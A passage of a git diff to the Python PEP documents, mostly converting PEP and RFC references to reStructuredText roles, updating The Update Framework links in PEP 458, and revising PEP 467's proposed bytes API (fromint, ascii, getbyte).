ASCII str / bytes hash collision -------------------------------- -Since the implementation of [pep-0393]_ bytes and ASCII text have the same +Since the implementation of :pep:`393`, bytes and ASCII text have the same memory layout. Because of this the new hashing API will keep the invariant:: hash("ascii string") == hash(b"ascii string") @@ -678,8 +678,6 @@ References .. [csiphash] https://github.com/majek/csiphash/ -.. [pep-0393] http://www.python.org/dev/peps/pep-0393/ - .. [aes-ni] http://en.wikipedia.org/wiki/AES_instruction_set .. [pluggable] https://mail.python.org/pipermail/python-dev/2013-October/129138.html diff --git a/pep-0457.txt b/pep-0457.txt index 7b396ece546..7ce06c7828a 100644 --- a/pep-0457.txt +++ b/pep-0457.txt @@ -3,7 +3,7 @@ Title: Notation For Positional-Only Parameters Version: $Revision$ Last-Modified: $Date$ Author: Larry Hastings -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Final Type: Informational Content-Type: text/x-rst @@ -23,7 +23,7 @@ their position. This PEP is an Informational PEP describing the notation for use when describing APIs that use positional-only parameters (e.g. in Argument Clinic, or in the string representation of `inspect.Signature` -objects). A separate PEP, PEP 570, proposes elevation of this notation +objects). A separate PEP, :pep:`570`, proposes elevation of this notation to full Python syntax. ========= @@ -45,11 +45,11 @@ variadic ``*args`` parameter. However, there is no Python syntax to specify accepting a specific number of positional-only parameters. Put another way, there are many builtin functions whose signatures are simply not -expressable with Python syntax. +expressible with Python syntax. This PEP proposes a notation for such signatures that could form the basis of a backwards-compatible syntax that should permit implementing -any builtin in pure Python code (see PEP 570 for that proposal). +any builtin in pure Python code (see :pep:`570` for that proposal). ----------------------------------------------------- Positional-Only Parameter Semantics In Current Python diff --git a/pep-0458-1.png b/pep-0458-1.png index 52bea1b2948..d455a22ac8f 100644 Binary files a/pep-0458-1.png and b/pep-0458-1.png differ diff --git a/pep-0458.txt b/pep-0458.txt index 6e6a274f9a1..ed4387cec27 100644 --- a/pep-0458.txt +++ b/pep-0458.txt @@ -14,6 +14,7 @@ BDFL-Delegate: Donald Stufft Discussions-To: https://discuss.python.org/t/pep-458-secure-pypi-downloads-with-package-signing/2648 Status: Accepted Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 27-Sep-2013 Post-History: 06-Jan-2019, 13-Nov-2019 @@ -73,7 +74,7 @@ responsibilities by automating much of the signing process. There is no discussion in *this* PEP of support for project distributions that are signed by developers (maximum security model). This possible future extension -is covered in detail in PEP 480 [21]_. The maximum security model requires more PyPI +is covered in detail in :pep:`480`. The maximum security model requires more PyPI administrative work (though no added work for clients), and also proposes an easy-to-use key management solution for developers/publishers, ideas on how to interface with a potential future build farm on PyPI infrastructure, and the @@ -85,8 +86,7 @@ to install or update projects from PyPI with TUF metadata. Package managers interested in adopting TUF on the client side may consult its `library documentation`__, which was created for this purpose. -__ https://github.com/theupdateframework/tuf/tree/v0.11.1/tuf/client#updaterpy - +__ https://theupdateframework.readthedocs.io/en/stable/api/tuf.ngclient.html Non-goals ========= @@ -94,7 +94,7 @@ Non-goals This PEP does not eliminate any existing features from PyPI. In particular, it does not replace existing support for OpenPGP signatures. Developers can continue to upload detached OpenPGP signatures along with distributions. In the future, -PEP 480 may allow developers to directly sign TUF metadata using their OpenPGP keys. +:pep:`480` may allow developers to directly sign TUF metadata using their OpenPGP keys. PEP Status @@ -123,7 +123,7 @@ software repositories are vulnerable to an attacker on the network (MITM) intercepting and changing files. These and other attacks on software repositories are detailed here__. -This PEP, together with the follow-up proposal in PEP 480, aims to protect users +This PEP, together with the follow-up proposal in :pep:`480`, aims to protect users of PyPI from compromises of the integrity, consistency, and freshness properties of PyPI packages, and enhances compromise resilience by mitigating key risk and providing mechanisms to recover from a compromise of PyPI or its signing keys. @@ -158,11 +158,11 @@ possible through other avenues. For example, a public mirror is trusted to honestly mirror PyPI, but some mirrors may misbehave, whether by accident or through malicious intervention. Package managers such as pip are supposed to use signatures from PyPI to verify -distribution files downloaded from a public mirror [9]_, but none are known to actually +distribution files downloaded from a :pep:`public mirror <381>`, but none are known to actually do so [10]_. Therefore, it would be wise to add more security measures to detect attacks from public mirrors or content delivery networks [11]_ (CDNs). -Even though official mirrors have been deprecated on PyPI [12]_, a +Even though official mirrors have been :pep:`deprecated on PyPI <449>`, a wide variety of other attack vectors on package managers remain [13]_. These attacks can crash client systems, cause obsolete distributions to be installed, or even allow an attacker to execute arbitrary code. In `September 2013`__, a post was @@ -189,7 +189,7 @@ __ https://theupdateframework.github.io/audits.html The scope of *this* PEP is protecting users from compromises of PyPI mirrors, and PyPI's own TLS termination and content distribution infrastructure. -Protection from compromises of PyPI itself is discussed in PEP 480. +Protection from compromises of PyPI itself is discussed in :pep:`480`. Threat Model @@ -209,7 +209,7 @@ software distribution file. If the attacker is preventing the installation of updates, they do not want clients to realize there is anything wrong. This threat model describes the minimum security model. The maximum security -model described in PEP 480 also assumes that attackers can compromise PyPI's +model described in :pep:`480` also assumes that attackers can compromise PyPI's online keys. @@ -218,9 +218,7 @@ Definitions The keywords "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be -interpreted as described in RFC 2119__. - -__ http://www.ietf.org/rfc/rfc2119.txt +interpreted as described in :rfc:`2119`. This PEP focuses only on integrating TUF into PyPI. However, the reader is encouraged to review TUF design principles [2]_ and SHOULD be @@ -347,10 +345,9 @@ TUF metadata. This PEP is concerned with the second part of the integration, and the changes on PyPI required to support software updates with TUF. We assume that pip would use TUF to verify distributions downloaded only from PyPI. pip MAY support TAP 4__ in order use TUF to also verify distributions downloaded -from elsewhere__. +from :pep:`elsewhere <470>`. __ https://github.com/theupdateframework/taps/blob/master/tap4.md -__ https://www.python.org/dev/peps/pep-0470/ @@ -373,11 +370,11 @@ from PyPI. TUF downloads them and checks them against the TUF metadata that it also downloads from the repository. If the downloaded target files are trustworthy, TUF then hands them over to the package manager. -The `Metadata`__ document provides information about each type of required -metadata and its expected content. The next section covers the different -kinds of metadata RECOMMENDED for PyPI. +The `Document formats`__ section of the TUF specification provides information +about each type of required metadata and its expected content. The next +section covers the different kinds of metadata RECOMMENDED for PyPI. -__ https://github.com/theupdateframework/tuf/blob/v0.11.1/docs/METADATA.md +__ https://theupdateframework.github.io/specification/latest/#document-formats In addition, all target files SHOULD be available on disk at least two times. Once under their original filename, to provide backwards compatibility, and @@ -493,6 +490,7 @@ trusted to sign for files available on PyPI. The next two sections cover the details of signing repository files and the types of keys used for each role. .. image:: pep-0458-1.png + :class: invert-in-dark-mode Figure 1: An overview of the role metadata available on PyPI. @@ -509,11 +507,12 @@ that PyPI uses to produce snapshots that can safely coexist and be deleted independent of other snapshots [18]_. Every year, PyPI administrators SHOULD sign for *root* and *targets* role keys. -Automation will continuously sign for a timestamped snapshot of all projects. -A `repository management`__ tool is available that can sign metadata files, -generate cryptographic keys, and manage a TUF repository. +Automation will continuously sign for a timestamped snapshot of all projects. A +repository `Metadata API`__ is available that can be used to `manage a TUF +repository`__. -__ https://github.com/theupdateframework/tuf/blob/v0.11.1/docs/TUTORIAL.md#how-to-create-and-modify-a-tuf-repository +__ https://theupdateframework.readthedocs.io/en/stable/api/tuf.api.html +__ https://github.com/theupdateframework/python-tuf/blob/v0.20.0/examples/repo_example/basic_repo.py In standard operation, the *bin-n* metadata will be updated and signed as new distributions are uploaded to PyPI. However, there will also need to be a @@ -562,8 +561,8 @@ one proposed in this PEP is the minimum security model, which supports verification of PyPI distributions signed with private cryptographic keys stored on PyPI. Distributions uploaded by developers are signed by PyPI and immediately available for download. A possible future extension to this -PEP, discussed in PEP 480 [21]_, proposes the maximum security model and allows -a developer to sign for his/her project. Developer keys are not stored online: +PEP, discussed in :pep:`480`, proposes the maximum security model and allows +a developer to sign for their project. Developer keys are not stored online: therefore, projects are safe from PyPI compromises. The minimum security model requires no action from a developer and protects @@ -588,7 +587,7 @@ considered to be non-existent on PyPI. Note, the reason why *targets* does not directly delegate to *bin-n*, but instead uses the intermediary *bins* role, is so that other delegations can easily be added or removed, without affecting the *bins*-to-*bin-n* mapping. -This is crucial for the implementation of PEP 480 [21]_. +This is crucial for the implementation of :pep:`480`. Metadata Expiry Times @@ -611,14 +610,14 @@ grow correspondingly. For example, consider the *bins* role. In August 2013, it was found that the size of the *bins* metadata was about 42MB if the *bins* role itself signed for about 220K PyPI targets (which are simple indices and distributions). This PEP does not delve into the details, but TUF features a -so-called "`lazy bin walk`__" scheme that splits a large targets metadata file +so-called `"hashed bin delegation"`__ scheme that splits a large targets metadata file into many small ones. This allows a TUF client updater to intelligently download only a small number of TUF metadata files in order to update any project signed for by the *bins* role. For example, applying this scheme to the previous repository resulted in pip downloading between 1.3KB and 111KB to install or upgrade a PyPI project via TUF. -__ https://github.com/theupdateframework/tuf/blob/v0.11.1/docs/TUTORIAL.md#delegate-to-hashed-bins +__ https://github.com/theupdateframework/python-tuf/blob/v0.20.0/examples/repo_example/hashed_bin_delegation.py Based on our findings as of the time this document was updated for implementation (Nov 7 2019), summarized in Tables 2-3, PyPI SHOULD @@ -666,7 +665,7 @@ C8 was computed by querying the number of release files. C9 was derived by taking the average between a rough estimate of the average size of release files *downloaded* over the past 31 days (1,628,321 bytes), and the average size of releases files on disk (2,740,465 bytes). -Ee W. Durbin III helped to provide these numbers on November 7, 2019. +Ee Durbin helped to provide these numbers on November 7, 2019. Table 2: A list of constants used to calculate metadata overhead. @@ -1094,7 +1093,7 @@ attack, or metadata inconsistency attacks. Note that if the timestamp, snapshot, and bin-n roles are stored in the same online location, a compromise of one means they will all be compromised. Therefore, the table considers these roles together. A version of this table that considers these roles separately -is included in PEP 480 [21]_. +is included in :pep:`480`. +-----------------+-------------------+----------------+--------------------------------+ | Role Compromise | Malicious Updates | Freeze Attack | Metadata Inconsistency Attacks | @@ -1137,7 +1136,7 @@ allow the repository to recover from an attack by revoking the online key(s). The maximum security model shows how TUF mitigates online key compromises by introducing additional roles for end-to-signing. Details about how to generate -developer keys and sign upload distributions are provided in PEP 480 [21]_. +developer keys and sign upload distributions are provided in :pep:`480`. In the Event of a Key Compromise @@ -1359,12 +1358,8 @@ References .. [6] https://mail.python.org/pipermail/distutils-sig/2013-April/020596.html .. [7] https://mail.python.org/pipermail/distutils-sig/2013-May/020701.html .. [8] https://mail.python.org/pipermail/distutils-sig/2013-July/022008.html -.. [9] PEP 381, Mirroring infrastructure for PyPI, Ziadé, Löwis - http://www.python.org/dev/peps/pep-0381/ .. [10] https://mail.python.org/pipermail/distutils-sig/2013-September/022773.html .. [11] https://mail.python.org/pipermail/distutils-sig/2013-May/020848.html -.. [12] PEP 449, Removal of the PyPI Mirror Auto Discovery and Naming Scheme, Stufft - http://www.python.org/dev/peps/pep-0449/ .. [13] https://theupdateframework.github.io/papers/attacks-on-package-managers-ccs2008.pdf .. [14] https://mail.python.org/pipermail/distutils-sig/2013-September/022755.html .. [15] http://ed25519.cr.yp.to/ @@ -1373,7 +1368,6 @@ References .. [18] https://en.wikipedia.org/wiki/Continuous_delivery .. [19] https://mail.python.org/pipermail/distutils-sig/2013-August/022154.html .. [20] https://en.wikipedia.org/wiki/Key-recovery_attack -.. [21] https://www.python.org/dev/peps/pep-0480/ .. [22] https://pyfound.blogspot.com/2019/09/pypi-security-q4-2019-request-for.html Acknowledgements @@ -1397,7 +1391,7 @@ Justin Samuel, Tian Tian, Santiago Torres, John Ward, and Yuyu Zheng in developing TUF. Vladimir Diaz, Monzur Muhammad, Sai Teja Peddinti, Sumana Harihareswara, -Ee W. Durbin III and Dustin Ingram helped us to review this PEP. +Ee Durbin and Dustin Ingram helped us to review this PEP. Zane Fisher helped us to review and transcribe this PEP. diff --git a/pep-0459.txt b/pep-0459.txt index 66fbdbdc543..98399fa9da2 100644 --- a/pep-0459.txt +++ b/pep-0459.txt @@ -4,19 +4,20 @@ Version: $Revision$ Last-Modified: $Date$ Author: Nick Coghlan BDFL-Delegate: Nick Coghlan -Discussions-To: Distutils SIG +Discussions-To: distutils-sig@python.org Status: Withdrawn Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Requires: 426 Created: 11-Nov-2013 -Post-History: 21 Dec 2013 +Post-History: 21-Dec-2013 PEP Withdrawal ============== -This PEP depends on PEP 426, which has itself been withdrawn. See the +This PEP depends on :pep:`426`, which has itself been withdrawn. See the PEP Withdrawal section in that PEP for details. In the meantime, metadata extensions will continue to be handled as they @@ -112,7 +113,7 @@ Classifiers ----------- A list of strings, with each giving a single classification value -for the distribution. Classifiers are described in PEP 301 [2]. +for the distribution. Classifiers are described in :pep:`301` [2]. Example:: @@ -202,8 +203,8 @@ If no specific role is stated, the default is ``contributor``. Email addresses must be in the form ``local-part@domain`` where the local-part may be up to 64 characters long and the entire email address contains no more than 254 characters. The formal specification of the -format is in RFC 5322 (sections 3.2.3 and 3.4.1) and RFC 5321, with a more -readable form given in the informational RFC 3696 and the associated errata. +format is in :rfc:`5322` (sections 3.2.3 and 3.4.1) and :rfc:`5321`, with a more +readable form given in the informational :rfc:`3696` and the associated errata. The defined contributor roles are as follows: diff --git a/pep-0461.txt b/pep-0461.txt index 7512a02a059..466297743a6 100644 --- a/pep-0461.txt +++ b/pep-0461.txt @@ -8,8 +8,8 @@ Type: Standards Track Content-Type: text/x-rst Created: 13-Jan-2014 Python-Version: 3.5 -Post-History: 2014-01-14, 2014-01-15, 2014-01-17, 2014-02-22, 2014-03-25, - 2014-03-27 +Post-History: 14-Jan-2014, 15-Jan-2014, 17-Jan-2014, 22-Feb-2014, 25-Mar-2014, + 27-Mar-2014 Resolution: https://mail.python.org/pipermail/python-dev/2014-March/133621.html @@ -195,7 +195,7 @@ Various new special methods were proposed, such as ``__ascii__``, ``__format_bytes__``, etc.; such methods are not needed at this time, but can be visited again later if real-world use shows deficiencies with this solution. -A competing PEP, ``PEP 460 Add binary interpolation and formatting`` [8]_, +A competing PEP, :pep:`PEP 460 Add binary interpolation and formatting <460>`, also exists. @@ -237,7 +237,6 @@ Footnotes .. [6] https://mail.python.org/pipermail/python-dev/2014-February/132750.html .. [7] http://bugs.python.org/issue23467 -- originally ``%r`` was not allowed, but was added for consistency during the 3.5 alpha stage. -.. [8] http://python.org/dev/peps/pep-0460/ Copyright diff --git a/pep-0462.txt b/pep-0462.txt index 510a9842e62..ba4ae5dc9a8 100644 --- a/pep-0462.txt +++ b/pep-0462.txt @@ -28,7 +28,7 @@ PEP Withdrawal This PEP has been `withdrawn by the author `_ -in favour of the GitLab based proposal in PEP 507. +in favour of the GitLab based proposal in :pep:`507`. If anyone else would like to take over championing this PEP, contact the `core-workflow mailing list `_ @@ -180,7 +180,7 @@ CPython core development workflow. This proposal suggests replacing the use of Rietveld for code review with the more full-featured Kallithea-based forge.python.org service proposed in -PEP 474. Guido has indicated that the original Rietveld implementation was +:pep:`474`. Guido has indicated that the original Rietveld implementation was primarily intended as a public demonstration application for Google App Engine, and switching to Kallithea will address some of the issues with identifying intended target branches that arise when working with patch files @@ -306,7 +306,7 @@ builds without errors. As yet another alternative, it may be reasonable to move some parts of the documentation (such as the tutorial and the HOWTO guides) out of the main source repository and manage them using the simpler pull request based model -described in PEP 474. +described in :pep:`474`. Perceived Benefits @@ -552,7 +552,7 @@ One useful part of the OpenStack workflow is the "git review" plugin, which makes it relatively easy to push a branch from a local git clone up to Gerrit for review. -PEP 474 mentions a draft `custom Mercurial +:pep:`474` mentions a draft `custom Mercurial extension `__ that automates some aspects of the existing CPython core development workflow. @@ -596,7 +596,7 @@ infrastructure primarily due to past experience with unacceptably poor performance and inflexibility of infrastructure provided for free to the general public. CPython development was originally hosted on SourceForge, with source control moved to self hosting when SF was both slow to offer -Subversion support and suffering from CVS performance issues (see PEP 347), +Subversion support and suffering from CVS performance issues (see :pep:`347`), while issue tracking later moved to the open source Roundup issue tracker on dedicated sponsored hosting (from Upfront Systems), due to a combination of both SF performance issues and general usability issues with the SF @@ -633,7 +633,7 @@ Buildbot continuous integration fleet, have taken an extended period of time as volunteers worked their way through the many technical and social challenges involved. -Fortunately, as several aspects of this proposal and PEP 474 align with +Fortunately, as several aspects of this proposal and :pep:`474` align with various workflow improvements under consideration for Red Hat's `Beaker `__ open source hardware integration testing system and other work-related projects, I have arranged to be able @@ -673,7 +673,7 @@ Next Steps ========== If pursued, this will be a follow-on project to the Kallithea-based -forge.python.org proposal in PEP 474. Refer to that PEP for more details +forge.python.org proposal in :pep:`474`. Refer to that PEP for more details on the discussion, review and proof-of-concept pilot process currently under way. @@ -687,7 +687,7 @@ Taylor for additional technical feedback following publication of the initial draft. Thanks to Bradley Kuhn, Mads Kiellerich and other Kallithea developers for -the discussions around PEP 474 that led to a significant revision of this +the discussions around :pep:`474` that led to a significant revision of this proposal to be based on using Kallithea for the review component rather than the existing Rietveld installation. diff --git a/pep-0463.txt b/pep-0463.txt index 30c40d68470..68f1e1f299c 100644 --- a/pep-0463.txt +++ b/pep-0463.txt @@ -46,7 +46,7 @@ your next PEP! Abstract ======== -Just as PEP 308 introduced a means of value-based conditions in an +Just as :pep:`308` introduced a means of value-based conditions in an expression, this system allows exception-based conditions to be used as part of an expression. @@ -833,7 +833,7 @@ that it catch BaseException and be unable to capture it with 'as'). Bare except clauses ------------------- -PEP 8 rightly advises against the use of a bare 'except'. While it is +:pep:`8` rightly advises against the use of a bare 'except'. While it is syntactically legal in a statement, and for backward compatibility must remain so, there is little value in encouraging its use. In an expression except clause, "except:" is a SyntaxError; use the equivalent long-hand @@ -919,7 +919,7 @@ This proposal simply adds a fifth: * except-expression - exception list: result -Style guides and PEP 8 should recommend not having the colon at the end of +Style guides and :pep:`8` should recommend not having the colon at the end of a wrapped line, which could potentially look like the introduction of a suite, but instead advocate wrapping before the exception list, keeping the colon clearly between two expressions. diff --git a/pep-0464.txt b/pep-0464.txt index dd1bf5f2015..cbc696a716e 100644 --- a/pep-0464.txt +++ b/pep-0464.txt @@ -7,6 +7,7 @@ BDFL-Delegate: Richard Jones Discussions-To: distutils-sig@python.org Status: Final Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 02-Mar-2014 Post-History: 04-Mar-2014 @@ -24,7 +25,7 @@ API, this includes the /serverkey URL and all of the URLs under /serversig. Rationale ========= -The PyPI mirroring infrastructure (defined in PEP 381) provides a means to +The PyPI mirroring infrastructure (defined in :pep:`381`) provides a means to mirror the content of PyPI used by the automatic installers, and as a component of that, it provides a method for verifying the authenticity of the mirrored content. @@ -38,7 +39,7 @@ This PEP proposes the removal of this API due to: there is *any* bias in the random nonce. * This API solves one small corner of the trust problem, however the problem itself is much larger and it would be better to have a fully fledged system, - such as `The Update Framework `_, + such as :pep:`The Update Framework <458>`, instead. Due to the issues it has and the lack of use it is the opinion of this PEP @@ -62,7 +63,7 @@ If PyPI 2.0 has not been deployed in place of PyPI 1.0 by Sept 01 2014 then this PEP will be implemented in the PyPI 1.0 code base instead (by removing the associated code). -No changes will be required in the installers, however PEP 381 compliant +No changes will be required in the installers, however :pep:`381` compliant mirroring clients, such as `bandersnatch `_ and `pep381client `_ will need to be diff --git a/pep-0465.txt b/pep-0465.txt index ebed4df3b44..5b38dd3c366 100644 --- a/pep-0465.txt +++ b/pep-0465.txt @@ -9,6 +9,8 @@ Content-Type: text/x-rst Created: 20-Feb-2014 Python-Version: 3.5 Post-History: 13-Mar-2014 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/D63NDWHPF7OC2Z455MPHOW6QLLSNQUJ5/ + Abstract ======== @@ -173,7 +175,7 @@ impossible to get right at any scale. Functions that defensively try to handle both types as input and DTRT, find themselves floundering into a swamp of ``isinstance`` and ``if`` statements. -PEP 238 split ``/`` into two operators: ``/`` and ``//``. Imagine the +:pep:`238` split ``/`` into two operators: ``/`` and ``//``. Imagine the chaos that would have resulted if it had instead split ``int`` into two types: ``classic_int``, whose ``__div__`` implemented floor division, and ``new_int``, whose ``__div__`` implemented true @@ -795,7 +797,7 @@ expression context are: ``@``, backtick, ``$``, ``!``, and ``?``. Of these options, ``@`` is clearly the best; ``!`` and ``?`` are already heavily freighted with inapplicable meanings in the programming context, backtick has been banned from Python by BDFL pronouncement -(see PEP 3099), and ``$`` is uglier, even more dissimilar to ``*`` and +(see :pep:`3099`), and ``$`` is uglier, even more dissimilar to ``*`` and :math:`\cdot`, and has Perl/PHP baggage. ``$`` is probably the second-best option of these, though. @@ -844,7 +846,7 @@ options: be too easy to confuse with ``*+``, which is just multiplication combined with the unary ``+`` operator. -* PEP 211 suggested ``~*``. This has the downside that it sort of +* :pep:`211` suggested ``~*``. This has the downside that it sort of suggests that there is a unary ``*`` operator that is being combined with unary ``~``, but it could work. @@ -1008,12 +1010,12 @@ Rejected alternatives to adding a new operator Over the past few decades, the Python numeric community has explored a variety of ways to resolve the tension between matrix and elementwise -multiplication operations. PEP 211 and PEP 225, both proposed in 2000 +multiplication operations. :pep:`211` and :pep:`225`, both proposed in 2000 and last seriously discussed in 2008 [#threads-2008]_, were early attempts to add new operators to solve this problem, but suffered from serious flaws; in particular, at that time the Python numerical community had not yet reached consensus on the proper API for array -objects, or on what operators might be needed or useful (e.g., PEP 225 +objects, or on what operators might be needed or useful (e.g., :pep:`225` proposes 6 new operators with unspecified semantics). Experience since then has now led to consensus that the best solution, for both numeric Python and core Python, is to add a single infix operator for @@ -1046,13 +1048,13 @@ infix operators:** In addition to being generally un-Pythonic and repeatedly rejected by BDFL fiat, this would be using a sledgehammer to smash a fly. The scientific python community has consensus that adding one operator for matrix multiplication is enough to fix the one -otherwise unfixable pain point. (In retrospect, we all think PEP 225 +otherwise unfixable pain point. (In retrospect, we all think :pep:`225` was a bad idea too -- or at least far more complex than it needed to be.) **Add a new @ (or whatever) operator that has some other meaning in general Python, and then overload it in numeric code:** This was the -approach taken by PEP 211, which proposed defining ``@`` to be the +approach taken by :pep:`211`, which proposed defining ``@`` to be the equivalent of ``itertools.product``. The problem with this is that when taken on its own terms, it's pretty clear that ``itertools.product`` doesn't actually need a dedicated operator. It @@ -1134,11 +1136,11 @@ systems work. **Use a special "facade" type to support syntax like arr.M * arr:** This is very similar to the previous proposal, in that the ``.M`` -attribute would basically return the same object as ``arr *dot` would, +attribute would basically return the same object as ``arr *dot`` would, and thus suffers the same objections about 'magicalness'. This approach also has some non-obvious complexities: for example, while -``arr.M * arr`` must return an array, ``arr.M * arr.M`` and ``arr * -arr.M`` must return facade objects, or else ``arr.M * arr.M * arr`` +``arr.M * arr`` must return an array, ``arr.M * arr.M`` and +``arr * arr.M`` must return facade objects, or else ``arr.M * arr.M * arr`` and ``arr * arr.M * arr`` will not work. But this means that facade objects must be able to recognize both other array objects and other facade objects (which creates additional complexity for writing diff --git a/scan-ops.py b/pep-0465/scan-ops.py old mode 100644 new mode 100755 similarity index 98% rename from scan-ops.py rename to pep-0465/scan-ops.py index 79603b598b3..052cf63bffa --- a/scan-ops.py +++ b/pep-0465/scan-ops.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# http://legacy.python.org/dev/peps/pep-0465/ +# https://peps.python.org/pep-0465/ # https://gist.github.com/njsmith/9157645 # usage: diff --git a/pep-0467.txt b/pep-0467.txt index 63196be0145..9964a3d55c0 100644 --- a/pep-0467.txt +++ b/pep-0467.txt @@ -3,75 +3,60 @@ Title: Minor API improvements for binary sequences Version: $Revision$ Last-Modified: $Date$ Author: Nick Coghlan , Ethan Furman -Status: Deferred +Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 30-Mar-2014 -Python-Version: 3.9 -Post-History: 2014-03-30 2014-08-15 2014-08-16 2016-06-07 2016-09-01 +Python-Version: 3.11 +Post-History: 30-Mar-2014, 15-Aug-2014, 16-Aug-2014, 07-Jun-2016, 01-Sep-2016, + 13-Apr-2021, 03-Nov-2021 Abstract ======== +This PEP proposes five small adjustments to the APIs of the ``bytes`` and +``bytearray`` types to make it easier to operate entirely in the binary domain: + +* Add ``fromsize`` alternative constructor +* Add ``fromint`` alternative constructor +* Add ``ascii`` alternative constructor +* Add ``getbyte`` byte retrieval method +* Add ``iterbytes`` alternative iterator + +Rationale +========= + During the initial development of the Python 3 language specification, the core ``bytes`` type for arbitrary binary data started as the mutable type that is now referred to as ``bytearray``. Other aspects of operating in the binary domain in Python have also evolved over the course of the Python -3 series. +3 series, for example with :pep:`461`. -This PEP proposes five small adjustments to the APIs of the ``bytes`` and -``bytearray`` types to make it easier to operate entirely in the binary domain: -* Discourage passing single integer values to ``bytes`` and ``bytearray`` -* Add ``bytes.fromsize`` and ``bytearray.fromsize`` alternative constructors -* Add ``bytes.fromord`` and ``bytearray.fromord`` alternative constructors -* Add ``bytes.getbyte`` and ``bytearray.getbyte`` byte retrieval methods -* Add ``bytes.iterbytes`` and ``bytearray.iterbytes`` alternative iterators +Motivation +========== -And one built-in:: +With Python 3 and the split between ``str`` and ``bytes``, one small but +important area of programming became slightly more difficult, and much more +painful -- wire format protocols. -* ``bchr`` +This area of programming is characterized by a mixture of binary data and +ASCII compatible segments of text (aka ASCII-encoded text). The addition of +the new constructors, methods, and iterators will aid both in writing new +wire format code, and in porting any remaining Python 2 wire format code. -PEP Deferral -============ +Common use-cases include ``dbf`` and ``pdf`` file formats, ``email`` +formats, and ``FTP`` and ``HTTP`` communications, among many others. -This PEP has been deferred until Python 3.9 at the earliest, as the open -questions aren't currently expected to be resolved in time for the Python 3.8 -feature addition deadline in May 2019 (if you're keen to see these changes -implemented and are willing to drive that resolution process, contact the PEP -authors). Proposals ========= -Discourage use of current "zero-initialised sequence" behaviour ---------------------------------------------------------------- - -Currently, the ``bytes`` and ``bytearray`` constructors accept an integer -argument and interpret it as meaning to create a zero-initialised sequence -of the given size:: - - >>> bytes(3) - b'\x00\x00\x00' - >>> bytearray(3) - bytearray(b'\x00\x00\x00') - -This PEP proposes to update the documentation to discourage making use of that -input type dependent behaviour in Python 3.9, suggesting to use a new, more -explicit, ``bytes.fromsize(n)`` or ``bytearray.fromsize(n)`` spelling instead -(see next section). - -However, the current handling of numeric inputs in the default constructors -would remain in place indefinitely to avoid introducing a compatibility break. - -No other changes are proposed to the existing constructors. - - Addition of explicit "count and byte initialised sequence" constructors ----------------------------------------------------------------------- -To replace the now discouraged behaviour, this PEP proposes the addition of an +To replace the now discouraged behavior, this PEP proposes the addition of an explicit ``fromsize`` alternative constructor as a class method on both ``bytes`` and ``bytearray`` whose first argument is the count, and whose second argument is the fill byte to use (defaults to ``\x00``):: @@ -82,58 +67,43 @@ second argument is the fill byte to use (defaults to ``\x00``):: bytearray(b'\x00\x00\x00') >>> bytes.fromsize(5, b'\x0a') b'\x0a\x0a\x0a\x0a\x0a' - >>> bytearray.fromsize(5, b'\x0a') + >>> bytearray.fromsize(5, fill=b'\x0a') bytearray(b'\x0a\x0a\x0a\x0a\x0a') ``fromsize`` will behave just as the current constructors behave when passed a single integer, while allowing for non-zero fill values when needed. -Similar to ``str.center``, ``str.ljust``, and ``str.rjust``, both parameters -would be positional-only with no externally visible name. - -Addition of "bchr" function and explicit "single byte" constructors -------------------------------------------------------------------- +Addition of explicit "single byte" constructors +----------------------------------------------- As binary counterparts to the text ``chr`` function, this PEP proposes -the addition of a ``bchr`` function and an explicit ``fromord`` alternative -constructor as a class method on both ``bytes`` and ``bytearray``:: +the addition of an explicit ``fromint`` alternative constructor as a class +method on both ``bytes`` and ``bytearray``:: - >>> bchr(ord("A")) - b'A' - >>> bchr(ord(b"A")) - b'A' - >>> bytes.fromord(65) + >>> bytes.fromint(65) b'A' - >>> bytearray.fromord(65) + >>> bytearray.fromint(65) bytearray(b'A') These methods will only accept integers in the range 0 to 255 (inclusive):: - >>> bytes.fromord(512) + >>> bytes.fromint(512) Traceback (most recent call last): File "", line 1, in ValueError: integer must be in range(0, 256) - >>> bytes.fromord(1.0) + >>> bytes.fromint(1.0) Traceback (most recent call last): File "", line 1, in TypeError: 'float' object cannot be interpreted as an integer -While this does create some duplication, there are valid reasons for it: - -* the ``bchr`` builtin is to recreate the ``ord``/``chr``/``unichr`` trio from - Python 2 under a different naming scheme (however, see the Open Questions - section below) -* the class method is mainly for the ``bytearray.fromord`` case, with - ``bytes.fromord`` added for consistency - The documentation of the ``ord`` builtin will be updated to explicitly note -that ``bchr`` is the primary inverse operation for binary data, while ``chr`` -is the inverse operation for text data, and that ``bytes.fromord`` and -``bytearray.fromord`` also exist. +that ``bytes.fromint`` is the primary inverse operation for binary data, while +``chr`` is the inverse operation for text data, and that ``bytearray.fromint`` +also exists. -Behaviourally, ``bytes.fromord(x)`` will be equivalent to the current +Behaviorally, ``bytes.fromint(x)`` will be equivalent to the current ``bytes([x])`` (and similarly for ``bytearray``). The new spelling is expected to be easier to discover and easier to read (especially when used in conjunction with indexing operations on binary sequence types). @@ -141,6 +111,44 @@ in conjunction with indexing operations on binary sequence types). As a separate method, the new spelling will also work better with higher order functions like ``map``. +These new methods intentionally do NOT offer the same level of general integer +support as the existing ``int.to_bytes`` conversion method, which allows +arbitrarily large integers to be converted to arbitrarily long bytes objects. The +restriction to only accept positive integers that fit in a single byte means +that no byte order information is needed, and there is no need to handle +negative numbers. The documentation of the new methods will refer readers to +``int.to_bytes`` for use cases where handling of arbitrary integers is needed. + + +Addition of "ascii" constructors +-------------------------------- + +In Python 2 converting an object, such as the integer ``123``, to bytes (aka the +Python 2 ``str``) was as simple as:: + + >>> str(123) + '123' + +With Python 3 that became the more verbose:: + + >>> b'%d' % 123 + +or even:: + + >>> str(123).encode('ascii') + +This PEP proposes that an ``ascii`` method be added to ``bytes`` and ``bytearray`` +to handle this use-case:: + + >>> bytes.ascii(123) + b'123' + +Note that ``bytes.ascii()`` would handle simple ascii-encodable text correctly, +unlike the ``ascii()`` built-in:: + + >>> ascii("hello").encode('ascii') + b"'hello'" + Addition of "getbyte" method to retrieve a single byte ------------------------------------------------------ 